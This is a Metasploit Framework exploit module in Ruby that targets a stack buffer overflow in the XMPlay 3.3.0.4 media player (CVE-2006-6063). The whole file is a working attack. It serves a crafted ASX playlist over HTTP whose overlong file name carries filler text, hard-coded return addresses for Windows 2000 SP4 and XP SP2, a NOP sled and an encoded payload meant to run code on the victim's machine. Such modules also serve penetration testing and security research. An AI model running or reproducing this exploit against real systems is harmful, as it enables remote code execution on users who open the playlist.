XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in XMPlay 3.3.0.4.   
The vulnerability is caused due to a boundary error within   
the parsing of playlists containing an overly long file name.  
This module uses the ASX file format.   
},  
'License' => MSF_LICENSE,  
'Author' => 'MC',   
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2006-6063'],  
[ 'OSVDB', '30537'],  
[ 'BID', '21206'],  
[ 'URL', 'http://secunia.com/advisories/22999/' ],  
],  
  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 Pro English SP4', { 'Ret' => 0x77e14c29 } ],  
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 21 2006',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
drv = rand_text_alpha_upper(1)  
ext = rand_text_alpha_upper(3)  
  
sploit = rand_text_alpha_upper(498) + [ target.ret ].pack('V')   
sploit << make_nops(40) + payload.encoded  
  
# Build the stream format   
content = "<ASX VERSION=\"3\">\r\n" + "<ENTRY>\r\n"   
content << "<REF HREF=\"file://#{drv}:\\" + sploit  
content << "." + "#{ext}\"\r\n" + "</ENTRY>\r\n" + "</ASX>\r\n"  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`